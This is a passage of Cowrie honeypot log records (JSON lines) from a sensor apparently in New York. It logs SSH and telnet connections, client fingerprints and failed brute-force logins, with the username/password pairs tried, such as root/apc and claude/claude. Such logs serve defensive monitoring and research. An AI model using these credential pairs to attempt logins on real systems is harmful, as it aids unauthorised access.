f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:50:57.717129Z","src_ip":"37.143.61.84","session":"41e9b0d980d7","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"74.243.239.219","src_port":3072,"dst_ip":"10.17.0.5","dst_port":22,"session":"738a7773d991","protocol":"ssh","message":"New connection: 74.243.239.219:3072 (10.17.0.5:22) [session: 738a7773d991]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:50:57.752521Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:50:57.758126Z","src_ip":"74.243.239.219","session":"738a7773d991","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:50:57.930010Z","src_ip":"74.243.239.219","session":"738a7773d991","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"claude","password":"claude","message":"login attempt [claude/claude] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:50:58.073550Z","src_ip":"37.143.61.84","session":"41e9b0d980d7","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"apc","message":"login attempt [root/apc] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:50:58.638144Z","src_ip":"74.243.239.219","session":"738a7773d991","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":41.13953137397766,"message":"Connection lost after 41 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:50:59.003026Z","src_ip":"192.119.13.58","session":"a2e5759f25ca","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:50:59.177002Z","src_ip":"37.143.61.84","session":"41e9b0d980d7","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"62.133.62.83","src_port":35502,"dst_ip":"159.203.135.109","dst_port":22,"session":"3cd70f7650ad","protocol":"ssh","message":"New connection: 62.133.62.83:35502 (159.203.135.109:22) [session: 3cd70f7650ad]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:50:59.647719Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:50:59.653119Z","src_ip":"62.133.62.83","session":"3cd70f7650ad","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:50:59.734870Z","src_ip":"62.133.62.83","session":"3cd70f7650ad","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":43.55642247200012,"message":"Connection lost after 43 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:50:59.784807Z","src_ip":"192.119.13.58","session":"1b75fb20a344","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"2.1","message":"Connection lost after 2.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:50:59.808689Z","src_ip":"74.243.239.219","session":"738a7773d991","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"122334","message":"login attempt [root/122334] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:50:59.980083Z","src_ip":"62.133.62.83","session":"3cd70f7650ad","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:51:01.064278Z","src_ip":"62.133.62.83","session":"3cd70f7650ad","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"109.237.96.109","src_port":45248,"dst_ip":"159.203.135.109","dst_port":22,"session":"0f848370f619","protocol":"ssh","message":"New connection: 109.237.96.109:45248 (159.203.135.109:22) [session: 0f848370f619]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:51:04.467996Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:51:04.473636Z","src_ip":"109.237.96.109","session":"0f848370f619","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:51:04.564117Z","src_ip":"109.237.96.109","session":"0f848370f619","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"pokemon","message":"login attempt [root/pokemon] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:51:04.849161Z","src_ip":"109.237.96.109","session":"0f848370f619","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:51:05.954391Z","src_ip":"109.237.96.109","session":"0f848370f619","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"35.225.56.202","src_port":36214,"dst_ip":"10.17.0.5","dst_port":22,"session":"4d1e5c70e18d","protocol":"ssh","message":"New connection: 35.225.56.202:36214 (10.17.0.5:22) [session: 4d1e5c70e18d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:51:07.954052Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:51:07.961254Z","src_ip":"35.225.56.202","session":"4d1e5c70e18d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:51:08.002176Z","src_ip":"35.225.56.202","session":"4d1e5c70e18d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"apc","message":"login attempt [root/apc] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:51:08.179303Z","src_ip":"35.225.56.202","session":"4d1e5c70e18d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.3","message":"Connection lost after 1.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:51:09.218942Z","src_ip":"35.225.56.202","session":"4d1e5c70e18d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":45.29314112663269,"message":"Connection lost after 45 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:51:14.971470Z","src_ip":"192.119.13.58","session":"995f0a030a63","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":58254,"dst_ip":"10.17.0.5","dst_port":23,"session":"125cbe295f8a","protocol":"telnet","message":"New connection: 192.119.13.58:58254 (10.17.0.5:23) [session: 125cbe295f8a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:51:15.150445Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":60810,"dst_ip":"10.17.0.5","dst_port":23,"session":"bd44f938978e","protocol":"telnet","message":"New connection: 192.119.13.58:60810 (10.17.0.5:23) [session: bd44f938978e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:51:15.810239Z"}
{"eventid":"cowrie.session.closed","duration":43.808876752853394,"message":"Connection lost after 43 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:51:17.690385Z","src_ip":"192.119.13.58","session":"9e271bf9d23e","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"193.233.48.169","src_port":55564,"dst_ip":"10.17.0.5","dst_port":22,"session":"235a61a79718","protocol":"ssh","message":"New connection: 193.233.48.169:55564 (10.17.0.5:22) [session: 235a61a79718]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:51:17.764117Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:51:17.769108Z","src_ip":"193.233.48.169","session":"235a61a79718","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:51:17.892759Z","src_ip":"193.233.48.169","session":"235a61a79718","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"asterisk","message":"login attempt [root/asterisk] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:51:18.414310Z","src_ip":"193.233.48.169","session":"235a61a79718","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":56.09712600708008,"message":"Connection lost after 56 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:51:18.873280Z","src_ip":"192.119.13.58","session":"5ece62958c8d","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:51:19.539703Z","src_ip":"193.233.48.169","session":"235a61a79718","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"77.105.130.18","src_port":42774,"dst_ip":"159.203.135.109","dst_port":22,"session":"f2a53933f08b","protocol":"ssh","message":"New connection: 77.105.130.18:42774 (159.203.135.109:22) [session: f2a53933f08b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:51:23.779889Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:51:23.784900Z","src_ip":"77.105.130.18","session":"f2a53933f08b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:51:23.884344Z","src_ip":"77.105.130.18","session":"f2a53933f08b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"vlcvlc","message":"login attempt [root/vlcvlc] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:51:24.311713Z","src_ip":"77.105.130.18","session":"f2a53933f08b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"49.51.241.230","src_port":58530,"dst_ip":"159.203.135.109","dst_port":22,"session":"3534e9dbcb84","protocol":"ssh","message":"New connection: 49.51.241.230:58530 (159.203.135.109:22) [session: 3534e9dbcb84]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:51:25.192456Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:51:25.197685Z","src_ip":"49.51.241.230","session":"3534e9dbcb84","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:51:25.266241Z","src_ip":"49.51.241.230","session":"3534e9dbcb84","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:51:25.413383Z","src_ip":"77.105.130.18","session":"f2a53933f08b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Abc12345678","message":"login attempt [root/Abc12345678] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:51:25.570238Z","src_ip":"49.51.241.230","session":"3534e9dbcb84","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:51:26.642049Z","src_ip":"49.51.241.230","session":"3534e9dbcb84","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"43.135.176.251","src_port":32796,"dst_ip":"159.203.135.109","dst_port":22,"session":"d39c153c9f55","protocol":"ssh","message":"New connection: 43.135.176.251:32796 (159.203.135.109:22) [session: d39c153c9f55]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:51:28.152018Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:51:28.157669Z","src_ip":"43.135.176.251","session":"d39c153c9f55","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-